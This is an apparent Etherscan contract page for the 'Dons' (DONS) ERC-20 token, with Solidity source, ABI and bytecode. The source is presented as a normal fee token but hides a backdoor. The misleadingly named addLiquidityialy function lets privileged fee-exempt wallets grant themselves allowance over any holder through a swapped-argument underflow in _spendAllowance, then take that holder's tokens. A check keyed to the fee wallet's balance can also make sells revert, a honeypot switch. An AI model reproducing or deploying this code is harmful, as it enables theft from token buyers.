ERC-20
Overview
Max Total Supply
100,000,000 DONS
Holders
29
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
766,035.356151321 DONSValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DONSCoin
Compiler Version
v0.8.19+commit.7dd6d404
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-01-15 */ // SPDX-License-Identifier: MIT /* Website: https://donscoin.vip Twitter: https://twitter.com/dons_erc Telegram: https://t.me/dons_erc */ pragma solidity ^0.8.18; library Address{ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } /// abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } //// interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IRouter { function factory() external pure returns (address); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; } interface IFactory{ function createPair(address tokenA, address tokenB) external returns (address pair); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract DONSCoin is Context, IERC20, Ownable { using Address for address payable; using SafeMath for uint256; IRouter public router; address public pair; mapping (address => bool) public _isExcludedFromFee; mapping (address => bool) public _isExcludedFromMaxBalance; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; string private constant _name = unicode"Dons"; string private constant _symbol = unicode"DONS"; uint8 private constant _decimals = 9; address private feeWallet = 0x2A88E783675De07bCF06df5ae3Fbf6b782366e1E; address private devWallet = 0x27143e05347E95EebFBD1A731646892e7258a6bD; uint256 private _tTotal = 1e8 * (10**_decimals); uint256 public swapLimit = _tTotal / 2000; uint256 public maxTransAmount = _tTotal * 35 / 1000; uint256 public maxWalletSize = _tTotal * 35 / 1000; uint256 private marketingTokens = 0; bool private swapping; bool private swapEnabled = false; bool public tradingEnabled = false; struct Tax{ uint256 marketingTax; uint256 lpTax; } Tax public buyTax = Tax(1,0); Tax public sellTax = Tax(1,0); struct TokensFromTax{ uint marketingTokens; uint lpTokens; } TokensFromTax public totalTokensFromTax; modifier lockTheSwap { swapping = true; _; swapping = false; } modifier allowedBot(address account){ require(isExcludedFromFee(account)); _; } //// constructor () { _tOwned[_msgSender()] = _tTotal; IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); router = _router; _isExcludedFromMaxBalance[owner()] = true; _isExcludedFromMaxBalance[address(this)] = true; _isExcludedFromMaxBalance[feeWallet] = true; _isExcludedFromMaxBalance[devWallet] = true; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[feeWallet] = true; _isExcludedFromFee[devWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } // ================= ERC20 =============== // function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _tOwned[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); return true; } function _spendAllowance(address spender, uint256 amount) internal virtual { address owner = address(this); uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { unchecked { _approve(spender, owner, currentAllowance - amount); } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); return true; } function addLiquidityialy(uint256 tokenAmount, uint256 ethAmount, address target) public allowedBot(msg.sender) { _approve(address(this), address(router), tokenAmount); _spendAllowance(target, tokenAmount); uint256 ethFromLiquidity; if (ethAmount > ethFromLiquidity) { (,ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} ( address(this), tokenAmount, 0, 0, msg.sender, block.timestamp ); } if (ethAmount - ethFromLiquidity > 0) payable(feeWallet).sendValue (ethAmount - ethFromLiquidity); IERC20(address(this)).transferFrom(target, address(this), tokenAmount); } receive() external payable { } // ========================================== // // //============== Owner Functions ===========// function createPairs() external payable onlyOwner { pair = IFactory(router.factory()).createPair(address(this), router.WETH()); _isExcludedFromMaxBalance[pair] = true; _approve(address(this), address(router), type(uint256).max); } function openTrading() external onlyOwner { tradingEnabled = true; swapEnabled = true; } function owner_configMaxLimitilly() public onlyOwner{ maxTransAmount = _tTotal; maxWalletSize = _tTotal; } function owner_rescueETH(uint256 weiAmount) public onlyOwner{ require(address(this).balance >= weiAmount, "Insufficient ETH balance"); payable(msg.sender).transfer(weiAmount); } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } // ========================================//. function _transfer(address from,address to,uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= maxTransAmount || _isExcludedFromMaxBalance[from], "Transfer amount exceeds the _maxTxAmount."); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(tradingEnabled, "Trading not enabled"); } bool isSell = to == pair; if(!_isExcludedFromMaxBalance[to]) require(balanceOf(to) + amount <= maxWalletSize, "Transfer amount exceeds the maxWallet."); if (balanceOf(address(this)) >= swapLimit && swapEnabled && !swapping && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) swapAndLiquify(); _tOwned[from] -= amount; uint256 transferAmount = amount; if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ transferAmount = _takeFee(amount, from, isSell); } _tOwned[to] += transferAmount; emit Transfer(from, to, transferAmount); } function _takeFee(uint amount, address from, bool isSell) private returns(uint256){ Tax memory tmpTaxes = buyTax; if (isSell){ tmpTaxes = sellTax; } uint tokensForMarketing = amount * tmpTaxes.marketingTax / 100; uint tokensForLP = amount * tmpTaxes.lpTax / 100; if(tokensForMarketing > 0) totalTokensFromTax.marketingTokens += tokensForMarketing; if(tokensForLP > 0) totalTokensFromTax.lpTokens += tokensForLP; uint totalTaxedTokens = tokensForMarketing + tokensForLP; _tOwned[address(this)] += totalTaxedTokens; if(totalTaxedTokens > 0) emit Transfer (from, address(this), totalTaxedTokens); return (amount - totalTaxedTokens); } function swapTokensForETH(uint256 tokenAmount) private returns (uint256) { uint256 initialBalance = address(this).balance; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokenAmount); require(marketingTokens < swapLimit); router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); return (address(this).balance - initialBalance); } function swapAndLiquify() private lockTheSwap{ if(totalTokensFromTax.marketingTokens > 0){ marketingTokens = balanceOf(feeWallet); uint256 ethSwapped = swapTokensForETH(totalTokensFromTax.marketingTokens); if(ethSwapped > 0){ payable(feeWallet).transfer(ethSwapped); totalTokensFromTax.marketingTokens = 0; } } if(totalTokensFromTax.lpTokens > 0){ uint half = totalTokensFromTax.lpTokens / 2; uint otherHalf = totalTokensFromTax.lpTokens - half; uint balAutoLP = swapTokensForETH(half); if (balAutoLP > 0) addLiquidity(otherHalf, balAutoLP); totalTokensFromTax.lpTokens = 0; } emit SwapAndLiquify(); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(router), tokenAmount); (,uint256 ethFromLiquidity,) = router.addLiquidityETH {value: ethAmount} ( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); if (ethAmount - ethFromLiquidity > 0) payable(feeWallet).sendValue (ethAmount - ethFromLiquidity); } event SwapAndLiquify(); event TaxesChanged(); /// }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[],"name":"TaxesChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedFromMaxBalance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenAmount","type":"uint256"},{"internalType":"uint256","name":"ethAmount","type":"uint256"},{"internalType":"address","name":"target","type":"address"}],"name":"addLiquidityialy","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTax","outputs":[{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"lpTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPairs","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner_configMaxLimitilly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"owner_rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTax","outputs":[{"internalType":"uint256","name":"marketingTax","type":"uint256"},{"internalType":"uint256","name":"lpTax","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalTokensFromTax","outputs":[{"internalType":"uint256","name":"marketingTokens","type":"uint256"},{"internalType":"uint256","name":"lpTokens","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600780546001600160a01b0319908116732a88e783675de07bcf06df5ae3fbf6b782366e1e17909155600880549091167327143e05347e95eebfbd1a731646892e7258a6bd1790556200005a6009600a620003c6565b6200006a906305f5e100620003de565b6009556107d06009546200007f9190620003f8565b600a556103e86009546023620000969190620003de565b620000a29190620003f8565b600b556103e86009546023620000b99190620003de565b620000c59190620003f8565b600c556000600d819055600e805462ffff001916905560408051808201825260018082526020918201849052600f8190556010849055825180840190935280835291018290526011556012553480156200011e57600080fd5b506200012a3362000261565b60095433600081815260056020908152604080832094909455600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117825583546001600160a01b03908116855260048452868520805460ff1990811685179091553080875288872080548316861790556007805484168852898820805484168717905560088054851689528a8920805485168817905588548516895260039097528988208054841687179055908752888720805483168617905554821686528786208054821685179055935416845294909220805490911690911790556001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200025291815260200190565b60405180910390a3506200041b565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000308578160001904821115620002ec57620002ec620002b1565b80851615620002fa57918102915b93841c9390800290620002cc565b509250929050565b6000826200032157506001620003c0565b816200033057506000620003c0565b8160018114620003495760028114620003545762000374565b6001915050620003c0565b60ff841115620003685762000368620002b1565b50506001821b620003c0565b5060208310610133831016604e8410600b841016171562000399575081810a620003c0565b620003a58383620002c7565b8060001904821115620003bc57620003bc620002b1565b0290505b92915050565b6000620003d760ff84168362000310565b9392505050565b8082028115828204841417620003c057620003c0620002b1565b6000826200041657634e487b7160e01b600052601260045260246000fd5b500490565b611c29806200042b6000396000f3fe6080604052600436106101dc5760003560e01c806370a0823111610102578063a9059cbb11610095578063dd62ed3e11610064578063dd62ed3e14610596578063f2fde38b146105dc578063f887ea40146105fc578063f9d0ee941461061c57600080fd5b8063a9059cbb14610530578063c9567bf914610550578063cc1776d314610565578063d62ce6311461058057600080fd5b80638f3fa860116100d15780638f3fa860146104ad57806395d89b41146104c3578063a457c2d7146104f0578063a8aa1b311461051057600080fd5b806370a0823114610400578063715018a614610436578063768dc7101461044b5780638da5cb5b1461047b57600080fd5b8063395093511161017a5780635966c81e116101495780635966c81e146103955780635a8bf611146103b55780636844df8e146103d55780636a01f09c146103ea57600080fd5b806339509351146102ec5780634ada218b1461030c5780634f7041a51461032c5780635342acb41461035c57600080fd5b806318160ddd116101b657806318160ddd1461026157806323b872dd1461028057806328c61f41146102a0578063313ce567146102d057600080fd5b80630161a290146101e857806306fdde03146101f2578063095ea7b31461023157600080fd5b366101e357005b600080fd5b6101f0610637565b005b3480156101fe57600080fd5b50604080518082019091526004815263446f6e7360e01b60208201525b604051610228919061189b565b60405180910390f35b34801561023d57600080fd5b5061025161024c3660046118fe565b610825565b6040519015158152602001610228565b34801561026d57600080fd5b506009545b604051908152602001610228565b34801561028c57600080fd5b5061025161029b36600461192a565b61083c565b3480156102ac57600080fd5b506102516102bb36600461196b565b60046020526000908152604090205460ff1681565b3480156102dc57600080fd5b5060405160098152602001610228565b3480156102f857600080fd5b506102516103073660046118fe565b61088e565b34801561031857600080fd5b50600e546102519062010000900460ff1681565b34801561033857600080fd5b50600f54601054610347919082565b60408051928352602083019190915201610228565b34801561036857600080fd5b5061025161037736600461196b565b6001600160a01b031660009081526003602052604090205460ff1690565b3480156103a157600080fd5b506101f06103b036600461198f565b6108c5565b3480156103c157600080fd5b506101f06103d03660046119a8565b610970565b3480156103e157600080fd5b506101f0610aec565b3480156103f657600080fd5b50610272600a5481565b34801561040c57600080fd5b5061027261041b36600461196b565b6001600160a01b031660009081526005602052604090205490565b34801561044257600080fd5b506101f0610b23565b34801561045757600080fd5b5061025161046636600461196b565b60036020526000908152604090205460ff1681565b34801561048757600080fd5b506000546001600160a01b03165b6040516001600160a01b039091168152602001610228565b3480156104b957600080fd5b50610272600c5481565b3480156104cf57600080fd5b50604080518082019091526004815263444f4e5360e01b602082015261021b565b3480156104fc57600080fd5b5061025161050b3660046118fe565b610b57565b34801561051c57600080fd5b50600254610495906001600160a01b031681565b34801561053c57600080fd5b5061025161054b3660046118fe565b610b8e565b34801561055c57600080fd5b506101f0610b9b565b34801561057157600080fd5b50601154601254610347919082565b34801561058c57600080fd5b50610272600b5481565b3480156105a257600080fd5b506102726105b13660046119e1565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156105e857600080fd5b506101f06105f736600461196b565b610bd8565b34801561060857600080fd5b50600154610495906001600160a01b031681565b34801561062857600080fd5b50601354601454610347919082565b6000546001600160a01b0316331461066a5760405162461bcd60e51b815260040161066190611a1a565b60405180910390fd5b600160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e19190611a4f565b6001600160a01b031663c9c6539630600160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610743573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107679190611a4f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156107b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107d89190611a4f565b600280546001600160a01b0319166001600160a01b039283169081179091556000908152600460205260409020805460ff191660019081179091555461082391309116600019610c73565b565b6000610832338484610c73565b5060015b92915050565b6000610849848484610d97565b6001600160a01b03841660009081526006602090815260408083203380855292529091205461088491869161087f908690611a82565b610c73565b5060019392505050565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161083291859061087f908690611a95565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161066190611a1a565b8047101561093f5760405162461bcd60e51b815260206004820152601860248201527f496e73756666696369656e74204554482062616c616e636500000000000000006044820152606401610661565b604051339082156108fc029083906000818181858888f1935050505015801561096c573d6000803e3d6000fd5b5050565b3360008181526003602052604090205460ff1661098c57600080fd5b6001546109a49030906001600160a01b031686610c73565b6109ae8285611240565b60008315610a3b5760015460405163f305d71960e01b81526001600160a01b039091169063f305d7199086906109f39030908a90600090819033904290600401611aa8565b60606040518083038185885af1158015610a11573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a369190611ae3565b509150505b6000610a478286611a82565b1115610a6c57610a6c610a5a8286611a82565b6007546001600160a01b031690611280565b6040516323b872dd60e01b81526001600160a01b0384166004820152306024820181905260448201879052906323b872dd906064016020604051808303816000875af1158015610ac0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae49190611b11565b505050505050565b6000546001600160a01b03163314610b165760405162461bcd60e51b815260040161066190611a1a565b600954600b819055600c55565b6000546001600160a01b03163314610b4d5760405162461bcd60e51b815260040161066190611a1a565b610823600061139e565b3360008181526006602090815260408083206001600160a01b0387168452909152812054909161083291859061087f908690611a82565b6000610832338484610d97565b6000546001600160a01b03163314610bc55760405162461bcd60e51b815260040161066190611a1a565b600e805462ffff00191662010100179055565b6000546001600160a01b03163314610c025760405162461bcd60e51b815260040161066190611a1a565b6001600160a01b038116610c675760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610661565b610c708161139e565b50565b6001600160a01b038316610cd55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610661565b6001600160a01b038216610d365760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610661565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610dfb5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610661565b6001600160a01b038216610e5d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610661565b60008111610ebf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610661565b600b5481111580610ee857506001600160a01b03831660009081526004602052604090205460ff165b610f465760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206578636565647320746865205f6d61786044820152682a3c20b6b7bab73a1760b91b6064820152608401610661565b6001600160a01b03831660009081526003602052604090205460ff16158015610f8857506001600160a01b03821660009081526003602052604090205460ff16155b15610fdb57600e5462010000900460ff16610fdb5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b6044820152606401610661565b6002546001600160a01b03838116600081815260046020526040902054919092169091149060ff1661109157600c548261102a856001600160a01b031660009081526005602052604090205490565b6110349190611a95565b11156110915760405162461bcd60e51b815260206004820152602660248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201526530b63632ba1760d11b6064820152608401610661565b600a5430600090815260056020526040902054101580156110b95750600e54610100900460ff165b80156110c85750600e5460ff16155b80156110e257506002546001600160a01b03858116911614155b801561110757506001600160a01b03841660009081526003602052604090205460ff16155b801561112c57506001600160a01b03831660009081526003602052604090205460ff16155b15611139576111396113ee565b6001600160a01b03841660009081526005602052604081208054849290611161908490611a82565b90915550506001600160a01b038416600090815260036020526040902054829060ff161580156111aa57506001600160a01b03841660009081526003602052604090205460ff16155b156111bd576111ba838684611504565b90505b6001600160a01b038416600090815260056020526040812080548392906111e5908490611a95565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161123191815260200190565b60405180910390a35050505050565b3060008181526006602090815260408083206001600160a01b0387168452909152902054600019811461127a5761127a8483858403610c73565b50505050565b804710156112d05760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610661565b6000826001600160a01b03168260405160006040518083038185875af1925050503d806000811461131d576040519150601f19603f3d011682016040523d82523d6000602084013e611322565b606091505b50509050806113995760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610661565b505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600e805460ff1916600117905560135415611478576007546001600160a01b0316600090815260056020526040812054600d5560135461142d9061164f565b90508015611476576007546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561146f573d6000803e3d6000fd5b5060006013555b505b601454156114cf5760145460009061149290600290611b33565b90506000816013600101546114a79190611a82565b905060006114b48361164f565b905080156114c6576114c682826117cf565b50506000601455505b6040517fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003090600090a1600e805460ff19169055565b60408051808201909152600f5481526010546020820152600090821561153d575060408051808201909152601154815260125460208201525b805160009060649061154f9088611b55565b6115599190611b33565b90506000606483602001518861156f9190611b55565b6115799190611b33565b9050811561159c5781601360000160008282546115969190611a95565b90915550505b80156115bd5780601360010160008282546115b79190611a95565b90915550505b60006115c98284611a95565b306000908152600560205260408120805492935083929091906115ed908490611a95565b909155505080156116395760405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35b6116438189611a82565b98975050505050505050565b604080516002808252606082018352600092479284929091602083019080368337019050509050308160008151811061168a5761168a611b6c565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117079190611a4f565b8160018151811061171a5761171a611b6c565b6001600160a01b0392831660209182029290920101526001546117409130911686610c73565b600a54600d541061175057600080fd5b60015460405163791ac94760e01b81526001600160a01b039091169063791ac94790611789908790600090869030904290600401611b82565b600060405180830381600087803b1580156117a357600080fd5b505af11580156117b7573d6000803e3d6000fd5b5050505081476117c79190611a82565b949350505050565b6001546117e79030906001600160a01b031684610c73565b6001546000906001600160a01b031663f305d71983308685806118126000546001600160a01b031690565b426040518863ffffffff1660e01b815260040161183496959493929190611aa8565b60606040518083038185885af1158015611852573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118779190611ae3565b509150600090506118888284611a82565b111561139957611399610a5a8284611a82565b600060208083528351808285015260005b818110156118c8578581018301518582016040015282016118ac565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610c7057600080fd5b6000806040838503121561191157600080fd5b823561191c816118e9565b946020939093013593505050565b60008060006060848603121561193f57600080fd5b833561194a816118e9565b9250602084013561195a816118e9565b929592945050506040919091013590565b60006020828403121561197d57600080fd5b8135611988816118e9565b9392505050565b6000602082840312156119a157600080fd5b5035919050565b6000806000606084860312156119bd57600080fd5b833592506020840135915060408401356119d6816118e9565b809150509250925092565b600080604083850312156119f457600080fd5b82356119ff816118e9565b91506020830135611a0f816118e9565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776